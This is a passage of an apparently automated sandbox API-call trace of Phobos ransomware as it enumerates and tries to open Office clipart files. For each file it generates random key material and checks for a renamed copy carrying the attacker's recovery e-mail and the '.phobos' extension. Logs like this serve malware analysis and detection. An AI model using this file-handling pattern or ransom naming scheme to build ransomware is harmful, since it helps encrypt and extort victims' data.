[0150.149] CloseHandle (hObject=0x564) returned 1 [0150.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0150.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.150] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.150] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3394) returned 1 [0150.150] CloseHandle (hObject=0x564) returned 1 [0150.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0150.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.151] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.151] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1198) returned 1 [0150.151] CloseHandle (hObject=0x564) returned 1 [0150.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0150.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.151] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.152] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3840) returned 1 [0150.152] CloseHandle (hObject=0x564) returned 1 [0150.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0150.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.152] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.153] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4946) returned 1 [0150.153] CloseHandle (hObject=0x564) returned 1 [0150.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0150.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.153] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.154] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4118) returned 1 [0150.154] CloseHandle (hObject=0x564) returned 1 [0150.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0150.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.154] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.155] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3282) returned 1 [0150.155] CloseHandle (hObject=0x564) returned 1 [0150.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0150.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.156] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.156] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16738) returned 1 [0150.156] CloseHandle (hObject=0x564) returned 1 [0150.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0150.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.156] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.347] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24528) returned 1 [0150.347] CloseHandle (hObject=0x580) returned 1 [0150.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0150.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.348] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.349] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11216) returned 1 [0150.349] CloseHandle (hObject=0x580) returned 1 [0150.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0150.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.350] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.350] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17040) returned 1 [0150.350] CloseHandle (hObject=0x580) returned 1 [0150.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0150.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.351] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.352] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17344) returned 1 [0150.352] CloseHandle (hObject=0x580) returned 1 [0150.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0150.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.352] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.353] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12900) returned 1 [0150.353] CloseHandle (hObject=0x580) returned 1 [0150.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0150.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.354] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.356] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=44948) returned 1 [0150.356] CloseHandle (hObject=0x580) returned 1 [0150.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0150.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.357] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.357] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5908) returned 1 [0150.357] CloseHandle (hObject=0x580) returned 1 [0150.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0150.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.359] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23596) returned 1 [0150.359] CloseHandle (hObject=0x580) returned 1 [0150.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0150.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.360] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5172) returned 1 [0150.360] CloseHandle (hObject=0x580) returned 1 [0150.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0150.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.361] CryptGenRandom 